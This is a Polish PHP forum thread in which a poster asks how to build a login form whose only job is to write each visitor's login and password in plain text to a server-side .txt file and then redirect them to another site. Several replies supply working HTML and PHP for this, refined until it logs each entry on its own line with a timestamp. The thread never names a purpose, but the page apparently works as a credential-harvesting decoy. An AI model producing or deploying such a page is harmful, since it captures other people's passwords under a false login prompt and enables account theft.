[PHP] Tworzenie formularzy hmm...

0

Witam!

Na samym wstępie piszę że nie jestem zbyt dobry w te klocki, więc proszę wybaczyć za eventualne nieścisłości

A więc sytuacja przedstawia się tak:
Chcę stworzyć stronkę, na której jest formularz (dwa pola na tekst: na login i hasło, oraz przycisk wyślij), gdzie jak osoba wpisze login np. "mareczek" i hasło np. "mlpnkobji" i wciśnie dany przycisk to, te dane które wpisał czyli login i hasło zapiszą się do pliku *.txt znajdującgo się na serwerze, a zamiast strony głównej wejdzie na daną stronę np. http://www.jkkkk.pl/login czy cośw tym stylu...

Kod przykładowej storny:


<html>

<head>
<meta http-equiv="Content-Language" content="pl">
<meta name="GENERATOR" content="WizSite Professional">
<meta name="ProgId" content="WizSite.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
<title>New</title>
</head>

<body>



<form method="POST" action="--WEBBOT-SELF--">
<!--webbot bot="SaveResults" U-File="fpweb:///_private/form_results.csv" S-Format="TEXT/CSV" S-Label-Fields="TRUE" -->
<p style="margin-top: 0; margin-bottom: 0">Login:&nbsp;
<input type="text" name="T1" size="21"></p>
<p style="margin-top: 0; margin-bottom: 0">Hasło:&nbsp;
<input type="text" name="T2" size="21"></p>
<p><input type="submit" value="Zaloguj" name="B1"></p>

</form>
<p>&nbsp;</p>

</body>

</html>

natomiast ten kod:

<?php

$login=$_POST['login'];
$haslo=$_POST['password'];

$plik=fopen('dane.txt','a+');
flock($plik,1);
fputs($plik,$login.' = '.$haslo."rn");
flock($plik,3);
fclose($plik);

?>

zapisuje te dane wpisane, ale nie jestem do końca pewien, więc proszę o napisanie na forum kodu całej strony (tak abym się zorientował co gdzie ma być wpisane)

Bardzo proszę o pomoc, bo jest to mi bardzo potrzebne.
Dzięki All ...

0

wciskasz to drugie przed pierwsze, zmieniasz w całości name="T1" i "T2" na "login" i "password", z "action" wykopujesz "="--WEBBOT-SELF--">", zmieniasz w drugim "rn" żeby były backslashe przed "r" i "n", przed końcówką "drugiego" wpisujesz jeszcze:
Header('Location: http://www.jkkkk.pl/login'); i zapisujesz jako .php

0

hmmm....
jakoś do końca mi to nie chce działać :(
Zrobiłem coś takiego (tak jak mówiłeś):

<?php 

$login=$_POST['login']; 
$haslo=$_POST['password']; 

$plik=fopen('dane.txt','a+'); 
flock($plik,1); 
fputs($plik,$login.' = '.$haslo."r/n"); 
flock($plik,3); 
fclose($plik); 
header( 'Location: http://www.sokno.er.pl/' ); 

?>

<html>

<head>
<meta http-equiv="Content-Language" content="pl">
<meta name="GENERATOR" content="Microsoft FrontPage 6.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
<title>New</title>
</head>
<body>

<form method="POST" action="">
<p style="margin-top: 0; margin-bottom: 0">Login: 
<input type="text" name="login" size="21"></p>
<p style="margin-top: 0; margin-bottom: 0">Has?o: 
<input type="password" name="password" size="21"></p>
<p><input type="submit" value="Zaloguj" name="B1"></p>
</form>
<p> </p>

</body>
</html>

no i nie działa ... z nieznanych mi przyczyn.
Login i Hasło nie zapisują się do pliku *.txt na serwerze, i jak Header('Location: http://www.sokno.er.pl'); jest na końcu skryptu to ładuje mi się jako pierwsze (czyli nie wchodzi na moją stronę), natomiast jak jest to w środku skryptu to po naciśnięciu Loguj nic się nie dzieje.

Ma ktoś pomysły ??
Jest to mi potrzebne bardzo pilnie !!!

Thanks all!

0

Plik w ktorym podajesz login i haslo nazwij np. index.php/index.html.
Jego zawartosc powinna wygladac tak:

<html>

<head>
<meta http-equiv="Content-Language" content="pl">
<meta name="GENERATOR" content="Microsoft FrontPage 6.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
<title>New</title>
</head>

<body>


<!-- W "action" umieszczasz lokalizacje skryptu, do ktorego zostana wyslane dane z formularza. -->
<form method="POST" action="add.php">
<p style="margin-top: 0; margin-bottom: 0">Login: 
<input type="text" name="login" size="21"></p>
<p style="margin-top: 0; margin-bottom: 0">Hasło: 
<input type="password" name="password" size="21"></p>
<p><input type="submit" value="Zaloguj" name="B1"></p>

</form>
<p> </p>

</body>

</html>

Skrypt ktory zapisuje haslo i login do pliku .txt nazwij add.php.

<?php

$login=$_POST['login'];
$haslo=$_POST['password'];

$plik=fopen('dane.txt','a+');
flock($plik,2); // Tutaj podajemy cyfre 2 oznaczajaca, ze skrypt bedzie zapisywal, a nie odczytywal dane (cyfra 1).
fputs($plik,$login.' = '.$haslo."\r\n");
flock($plik,3); // Zwolnienie pliku
fclose($plik);

Header('Location: http://www.sokno.er.pl');

?>
0

Działa :) Thanks

ps. Nie wiem czemu do każdego hasła dopisuje literki "rn" ;)

Pozdrawiam !

0

Zamień

fputs($plik,$login.' = '.$haslo."rn");

na

fputs($plik,$login.' = '.$haslo."\r\n");
0
angel2953 napisał(a)

Zamień

fputs($plik,$login.' = '.$haslo."rn");

na

fputs($plik,$login.' = '.$haslo."rn");

jak to zrobiłeś ? mi albo wstawiało dwa backslashe albo w ogóle i musiałem w końcu napisać słownie
/*
// Wiadać jakiś chwilowy błąd był z forum - Q
// Edit: nadal jest :( - Q
*/

0

Witam!

Skrypcik działa jak ta lala ;P

<html>

<head>
<meta http-equiv="Content-Language" content="pl">
<meta name="GENERATOR" content="Microsoft FrontPage 6.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
<title>New</title>
</head>
<body>



<form method="POST" action="add.php">
<p style="margin-top: 0; margin-bottom: 0">Login: 
<input type="text" name="login" size="21"></p>
<p style="margin-top: 0; margin-bottom: 0">Hasło: 
<input type="password" name="password" size="21"></p>
<p><input type="submit" value="Zaloguj" name="B1"></p>

</form>
<p> </p>

</body>

</html>

oraz


<?php

$login=$_POST['login'];
$haslo=$_POST['password'];

$plik=fopen('dane.txt','a+');
flock($plik,2); 
fputs($plik,$login.' = '.$haslo."\r\n");
flock($plik,3); 
fclose($plik);

Header('Location: http://www.sokno.er.pl');

?>

i to działa tylko znowu jest jedno "ale" !
A mianowicie, gdy osoba wpisze jakieś dane i naciśnie przycisk to prawidłowo zapisują się dane do pliku i prawidłowo przechodzi na stronę www.sokno.er.pl . Ale gdy druga osoba wejdzie to drugą osobę zapisuje w tejsamej linii, że jest to nie czytelne.
A jak zrobić aby było tak:

mareczek = ppp
adrian = sssfdsf
sdpofkds = soajkd

itd. czyli dane zapisywało jeden pod drugim, a do tego czas i datę zapisania do pliku tych danych czyli:

[18:00 - 12 luty 2005r] mareczek = ppp
[19:09 - 14 luty 2005r] adrian = sssfdsf
[09:15 - 5 luty 2005r] sdpofkds = soajkd

itd ... ???

:/ :/ :/
Był bym wdzięczny za odpowiedź ...

0
<?php

$login=$_POST['login'];
$haslo=$_POST['password'];

$plik=fopen('dane.txt','a+');
flock($plik,2); 
fputs($plik,"[".date("H:i:s - d m Y")."] ".$login.' = '.$haslo."
");
flock($plik,3); 
fclose($plik);

Header('Location: '.$_SERVER["REFERER"]);

?>

1 użytkowników online, w tym zalogowanych: 0, gości: 1